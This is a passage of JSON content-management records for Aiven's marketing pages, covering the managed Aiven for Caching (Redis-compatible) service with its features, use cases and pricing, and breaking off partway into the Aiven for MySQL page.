center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","subtitle":[{"_key":"tankikr86zd07vs4fvraoxqlw88h7zfk","_type":"block","children":[{"_key":"b1bchp745qcgsigatlvms90i0ffq9hiz","_type":"span","marks":["strong"],"text":"Aiven for Caching"},{"_key":"7r4wey2j8b1qdvf95xixzq8y6i382ed0","_type":"span","marks":[],"text":" and "},{"_key":"51gh55cglnoow7jixhprynpacl37blam","_type":"span","marks":["strong","795e9610d74b"],"text":"Aiven for Dragonfly"},{"_key":"7qn65gmt2ab6clpbxv5njom2h3bvn7r5","_type":"span","marks":[],"text":" are both powerful solutions designed to meet the demands of your applications. If you require the ultimate in performance and scalability, then Aiven for Dragonfly is the perfect choice. For lighter workloads that prioritize cost-effectiveness and simplicity, Aiven for Caching offers a robust and affordable alternative based on open-source Redis®. "}],"markDefs":[{"_key":"795e9610d74b","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"},{"_key":"4ior2zlpw4jsvnuyk4q59489j04qs6yg","_type":"table","rows":[{"_key":"dh2xqn1qcgh93ku7ikjyapqtbxlibfze","_type":"tableRow","cells":["","Aiven for Caching","Aiven for Dragonfly"]},{"_key":"u068nrc6p13b63xptra7tdc9lu8iw1z9","_type":"tableRow","cells":["Memory size (storage)","Scales to 100GB and more, depending on the required performance","Supports up to 1TB+ of data per instance"]},{"_key":"9x5kpmr1hj35exvi4y4ire8qdlivq5uz","_type":"tableRow","cells":["Throughput","Suitable for workloads of 70.000 QPS or less","Built for workloads exceeding 70,000 QPS"]},{"_key":"prh8bk0u2plsn2yz1ppndtp6dzg4y0sk","_type":"tableRow","cells":["Features","Provides a complete open-source Redis® compatible experience","Includes all open-source Redis® features, plus JSON support and vector search"]},{"_key":"zz3mhlrppjturk5554nq9d3ury4gwdhp","_type":"tableRow","cells":["Other","","Memcached compatibility"]}]}],"tagline":"Choose the ideal solution for your needs","title":"Aiven for Caching or Aiven for Dragonfly","variant":"centerColumn"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"04321132533e","_type":"block","children":[{"_key":"d33d8216baf40","_type":"span","marks":[],"text":"Downtime is a disaster for critical applications. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5b154edc449d","_type":"block","children":[{"_key":"4a8a1a6e59d10","_type":"span","marks":[],"text":"Increase the memory in your cluster, create new clusters, switch cloud providers or expand to new regions. Redis has never been this easy."}],"markDefs":[],"style":"normal"}],"title":"Scale up or down easily. Whenever you need."},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"5e05fcce7726","_type":"block","children":[{"_key":"3be69eb46dcf0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades to your clusters? We’ll take care of them for you so that you can focus on turning your data into actionable insights."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for Caching comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers networking to data storage, and everything in-between."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."}],"id":"benefits","noSpaceBottom":false,"rounded":false,"subtitle":[{"_key":"08cad0d87e2b","_type":"block","children":[{"_key":"99cf42e9ee2e0","_type":"span","marks":[],"text":"With Aiven’s fully managed service, you get all the features of open-source Redis® without any of the infrastructure stress."}],"markDefs":[],"style":"normal"},{"_key":"e1a99d868c86","_type":"block","children":[{"_key":"7bd5ce6a55600","_type":"span","marks":[],"text":"Because Aiven makes setting up services easy, you can snap Aiven for Caching into your data pipelines in a matter of minutes, and get back to developing. All the installation, management, and updating is taken care of, and we provide an extensive set of tools and integrations out-of-the-box."}],"markDefs":[],"style":"normal"},{"_key":"50dcf6ee2743","_type":"block","children":[{"_key":"0d4911c4f0bf0","_type":"span","marks":[],"text":"Simply put, with Aiven, you get legacy Redis® OSS compatible functionality ready to go."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven for Caching"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"662dfb0aa52d","_type":"block","children":[{"_key":"22f8c587a3980","_type":"span","marks":[],"text":"Caching means fewer database access calls, which helps to reduce the amount of traffic and instances required. As Aiven for Caching can process data with sub-millisecond latency it’s ideal for caching use."}],"markDefs":[],"style":"normal"}],"title":"Caching for databases","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"84d4ac77d641","_type":"block","children":[{"_key":"540290ee30b2","_type":"span","marks":[],"text":"Aiven for Caching supports Pub/Sub with pattern matching and many different varieties of data structure, such as lists, sorted sets and hashes. This enables support for high-performance chat rooms, real-time comment streams, social media feeds and server intercommunication."}],"markDefs":[],"style":"normal"}],"title":"Chat and messaging applications","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"b27827cec62f","_type":"block","children":[{"_key":"ef2fdd3cf9590","_type":"span","marks":[],"text":"Redis is a popular choice among game developers looking to build real-time leaderboards or scoreboards. “Sorted Sets” within Aiven for Caching are a built-in data structure that makes leaderboards simple to create and manage."}],"markDefs":[],"style":"normal"}],"title":"Gaming leaderboard applications","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How customers use Aiven for Caching"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"Features","title":"Key features of Aiven for Caching","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-fa1efa599a4713259036c7c8ac845aba688b253b-3270x2212-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"d04d9895f232","_type":"block","children":[{"_key":"752b224cf23e0","_type":"span","marks":[],"text":"Production-ready clusters in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6e5f65db71c0","_type":"block","children":[{"_key":"e4ba2462ed070","_type":"span","marks":[],"text":"Deploy to the cloud of your choice with 5 public clouds and 100+ regions supported"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"57ef900f2f22","_type":"block","children":[{"_key":"1bfd1c5ac20c0","_type":"span","marks":[],"text":"High performance clusters based on carefully selected instance types and storage options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9812a479f18","_type":"block","children":[{"_key":"34d0ec9048900","_type":"span","marks":["5c87d4279d3a"],"text":"Bring-your-own-cloud (BYOC) "},{"_key":"34d0ec9048901","_type":"span","marks":[],"text":"deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c87d4279d3a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-1425732ff6594c27532d2b740a2cfd1a9d59576b-3266x1810-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"fdcd18e5e3e3","_type":"block","children":[{"_key":"cebe9e375ffa","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"556e5db9b1da","_type":"span","marks":["85139808a6ef"],"text":"VPC peering"},{"_key":"2ead455af98a","_type":"span","marks":[],"text":", "},{"_key":"79f91cd1cc13","_type":"span","marks":["3e2bdec0341c"],"text":"PrivateLink"},{"_key":"6798f544664d","_type":"span","marks":[],"text":" or "},{"_key":"18f9fa636f26","_type":"span","marks":["ecf78a7796d0"],"text":"TransitGateway"},{"_key":"f12572922f96","_type":"span","marks":[],"text":" technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"85139808a6ef","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"3e2bdec0341c","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"ecf78a7796d0","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"95f5efbd5992","_type":"block","children":[{"_key":"351f2672b522","_type":"span","marks":["018e7219a268"],"text":"Integrate"},{"_key":"3725eed2c52a","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more — or use "},{"_key":"41d832aca3c4","_type":"span","marks":["5d2a3320516b"],"text":"Aiven observability tools"},{"_key":"51d79a6471b9","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"018e7219a268","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"5d2a3320516b","_type":"internalLink","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"}}],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e3ec574a2d2b9677fe77c15a5a418d951f984d3b-2626x1882-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Control","text":[{"_key":"451b643ee594","_type":"block","children":[{"_key":"6750ab7710a30","_type":"span","marks":[],"text":"Manage your Aiven for Caching cluster using Aiven Console (GUI), CLI or "},{"_key":"6750ab7710a31","_type":"span","marks":["18690176761e"],"text":"Terraform"},{"_key":"6750ab7710a32","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"18690176761e","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"b113fcd57cc4","_type":"block","children":[{"_key":"26e5ce3c8a3a0","_type":"span","marks":[],"text":"Scale, fork and upgrade with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4750ba6d1f79","_type":"block","children":[{"_key":"b0b6e21aaf010","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5836e3c90b21","_type":"block","children":[{"_key":"43bb074d8fc60","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"7bff0ebf3f03cb580d82a70f2160a6ea","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-b61820e6d52af14f4fd75797f9a08dd135a713b3-3284x2028-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"b4536951b24a","_type":"block","children":[{"_key":"1b8ffdf481930","_type":"span","marks":[],"text":"Self-healing platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be0e0c4916a5","_type":"block","children":[{"_key":"72420e4dea5d0","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8abaff0091e7","_type":"block","children":[{"_key":"411bc2e965150","_type":"span","marks":[],"text":"Automatic backups every 12 hours, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14afad19675e","_type":"block","children":[{"_key":"8f5be5a8acd40","_type":"span","marks":["ad498af7cb95"],"text":"Secure and compliant solution"},{"_key":"38c65f227bf1","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad498af7cb95","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"1705d247f2aec3897e833f4f8da85ffa","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},"subtitle":[{"_key":"279c98a469fb","_type":"block","children":[{"_key":"ec0561ecb60f","_type":"span","marks":[],"text":"Starting at just $19 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use.","variant":"single-service"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","darkTheme":false,"disabled":true,"fullWidth":false,"headerPosition":"left","id":"pricing","items":[{"_key":"ffb8e7fedab3","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start free Redis plan"},"subtitle":[{"_key":"3e8093ead98e","_type":"table","rows":[{"_key":"f8f26ac5-9295-4a70-9578-545109c68acb","_type":"tableRow","cells":["Feature"]},{"_key":"f049c85d-1d37-4d7d-bd59-5b9e5b95c8b2","_type":"tableRow","cells":["Dedicated VMs","1"]},{"_key":"3e533bb8-c9f2-4c30-8bf9-74ec2e74606f","_type":"tableRow","cells":["CPU per VM","2"]},{"_key":"427ec947-db2e-42a0-9f68-cc3c4639d729","_type":"tableRow","cells":["RAM per VM","1 GB"]},{"_key":"6eebaf56-2893-487e-9df7-8cf2a4f33afb","_type":"tableRow","cells":["Cloud","AWS with 9 regions all over the world"]},{"_key":"5926175f-e332-4f62-ab91-c1b1133ac80c","_type":"tableRow","cells":["All networking costs included","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02d09f41-78fb-423e-a030-e53e291b6341","_type":"tableRow","cells":["Seamless upgrade to other plans","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02df881d-baa9-4818-8aa9-5fb81178fc25","_type":"tableRow","cells":["One-click version upgrade","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"db7b150c-df13-4d60-a1f6-d268c7dcdf72","_type":"tableRow","cells":["Performance graphs","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"909a4257-2e25-4acc-b9a4-2649925b1064","_type":"tableRow","cells":["Data encrypted on disk and network","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"0f983ebe-dc35-4b04-9e67-34bdee082179","_type":"tableRow","cells":["Daily backups","3 days"]},{"_key":"5cc099a3-1b0f-4d85-87bf-6149c2fc9730","_type":"tableRow","cells":["Support","[Community support](https://aiven.io/community/forum/)"]}]}],"title":"Get started with a free plan","variant":"default"}],"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=redis","title":"Compare plans and pricing"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"subtitle":[{"_key":"c8447ad423b3","_type":"block","children":[{"_key":"328a0011a3580","_type":"span","marks":[],"text":"Starting at just $0 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime at no extra cost. Basic support is included in all the paid plans."}],"markDefs":[],"style":"normal"},{"_key":"e1bb25903a3d","_type":"block","children":[{"_key":"e5c22c2e1ea4","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9967b5709108","_type":"block","children":[{"_key":"5331694b55d7","_type":"span","marks":[],"text":"No extra maintenance, networking, or storage fees. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"321b2ae51fa3","_type":"block","children":[{"_key":"726c2ce087f4","_type":"span","marks":[],"text":"Private networking (VPC), single-tenant, and high-availability multi-AZ available. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"56795499a0da","_type":"block","children":[{"_key":"80de97c99bbe","_type":"span","marks":[],"text":"Spin up clusters and regions when you need them, and shut them down when you don’t."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Scale up or down. Pay only for what you use."},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"39e5c9771dac","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"68ca8879d46d","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"},{"_key":"541ec6428e8c","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123","_type":"reference"}],"rounded":false,"title":"FAQ"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":true,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/caching","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-ac635e5643f5691578ff859676e141d7f0ffcf36-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"50193800fa0c","_type":"block","children":[{"_key":"ec85f05004810","_type":"span","marks":[],"text":"Getting started with Aiven for Caching, core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"edc9580525f7","_ref":"5n7mhiPowEK6X49UpoZSU4","_type":"reference"},{"_key":"2b308dc6e657","_ref":"Bn6QWyWT0ZxFmtWiDM23j","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for Caching"}],"seo":{"_type":"metaData","canonicalUrl":"/valkey","metaDescription":"Aiven for Caching – Fully managed in-memory NoSQL database ✓ Deploy in the cloud your choice ✓ Simple integration ✓ Find out more!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-933a9a16bc92bb956a2be6e6568232afa433f8db-5000x2625-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Caching\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed Redis, Redis as a Service\",\n \"description\": \"Aiven for Caching is a fully-managed and hosted Redis solution that is offered globally in Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud.\",\n \"featureList\": \"Terraform support, Datadog integration, Aiven service log integration, Aiven metrics integration, VPC peering, REST API, Command line tooling, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://aiven.io/docs/products/caching\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source in-memory NoSQL database\",\n \"applicationSubCategory\": \"Memory cache, Message broker, Non-relational database\"\n}","metaTitle":"Managed Redis database | Aiven"},"service":{"_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},"slug":{"_type":"slug","current":"/caching"},"title":"Caching (formerly Redis)"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-30T19:49:05Z","_id":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_rev":"whpRLkwvxva49hcLZ6d4At","_type":"product","_updatedAt":"2025-01-15T15:44:26Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for MySQL","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform "}},"darkTheme":true,"description":[{"_key":"e2bfdeeee59a","_type":"block","children":[{"_key":"040e466125260","_type":"span","marks":[],"text":"Fully hosted and managed MySQL. Deploy in the cloud of your choice, and get all the integrations you need in one intuitive cloud data platform."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"a18ec3c2e5f8","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"73742df4ef01","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-f1c2b209fe50b7a45543188e4e8e5e60318cc038-1600x1137-png","_type":"reference"}},"imageSize":"default","isImageLarge":false,"primaryCTA":{"_type":"link","caption":"Includes single dedicated VM, backups and networking","externalUrl":"https://console.aiven.io/signup","title":"Start with a free plan"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/mysql","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/mysql","title":"See docs"},"title":"Aiven for MySQL","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"},"title":"Aiven for MySQL"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for MySQL"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"2b2e205bb899","_type":"block","children":[{"_key":"35fdbf57372c0","_type":"span","marks":[],"text":"Build advanced applications with Aiven for MySQL"}],"markDefs":[],"style":"h3"},{"_key":"11fd017dc5d1","_type":"block","children":[{"_key":"0ba48184ea010","_type":"span","marks":[],"text":"Aiven offers the popular and reliable open source relational database MySQL as a fully managed service, deployable in the cloud of your choice. Use it for mission critical apps, dynamic websites, or as an embedded database."}],"markDefs":[],"style":"normal"},{"_key":"5fd56a9fe6ed","_type":"block","children":[{"_key":"68f5ccc1929b0","_type":"span","marks":[],"text":"On Aiven’s platform you can connect MySQL to other services with push-button simplicity. "},{"_key":"77acdf139f1a","_type":"span","marks":["f9cc0f9436bf"],"text":"Integrate"},{"_key":"b1b6422c73f1","_type":"span","marks":[],"text":" easily with tools like Datadog, Prometheus, AWS CloudWatch, Elasticsearch and more, or with Aiven services for "},{"_key":"23ca1e411b22","_type":"span","marks":["215a7c46cfa8"],"text":"M3"},{"_key":"f494a97402dc","_type":"span","marks":[],"text":", "},{"_key":"f0df9e6e777f","_type":"span","marks":["2d9a594f86f5"],"text":"Grafana®"},{"_key":"fbf56b8632fd","_type":"span","marks":[],"text":" and "},{"_key":"659a87153349","_type":"span","marks":["eb7ee61acfbc"],"text":"OpenSearch®"},{"_key":"1569225da5fb","_type":"span","marks":[],"text":" for enhanced monitoring and logging."}],"markDefs":[{"_key":"f9cc0f9436bf","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"215a7c46cfa8","_type":"internalLink","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef","_type":"reference"}},{"_key":"2d9a594f86f5","_type":"internalLink","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"}},{"_key":"eb7ee61acfbc","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}}],"style":"normal"},{"_key":"30f8a1092306","_type":"block","children":[{"_key":"ed6557017a7a0","_type":"span","marks":[],"text":"Replicate your data to other regions and clouds for disaster recovery or geo proximity, or build multi-cloud architectures. Even our standard high-availability plans come with 1 or 2 standby nodes, which also act as automatic read replicas."}],"markDefs":[],"style":"normal"},{"_key":"ead1fbf72429","_type":"block","children":[{"_key":"ac2dddb4442f","_type":"span","marks":["strong"],"text":"Resources"}],"markDefs":[],"style":"normal"},{"_key":"a8625d17ba3f","_type":"block","children":[{"_key":"0d21002b64b90","_type":"span","marks":["e50e3e6aa3a1"],"text":"What is MySQL? (blog)"}],"markDefs":[{"_key":"e50e3e6aa3a1","_type":"internalLink","internalLink":{"_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"}}],"style":"normal"},{"_key":"430323578813","_type":"block","children":[{"_key":"aa1826ae12e41","_type":"span","marks":["0b0e70b81669"],"text":"Aiven for MySQL (docs)"}],"markDefs":[{"_key":"0b0e70b81669","_type":"link","href":"https://aiven.io/docs/products/mysql"}],"style":"normal"}]}],"subtitle":[{"_key":"5861de795c13","_type":"block","children":[{"_key":"d23b5f5f51660","_type":"span","marks":[],"text":"With Aiven you can get fully managed MySQL up and running in less than 10 minutes — directly from our web console or using our API, CLI, or Terraform. Our stand-by nodes act automatically as read replicas, and you can also create read replicas in different clouds and regions, even building multi-cloud architectures. Our Point-In-Time-Recovery lets you restore your data to any time within your selected retention period."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What is Aiven for 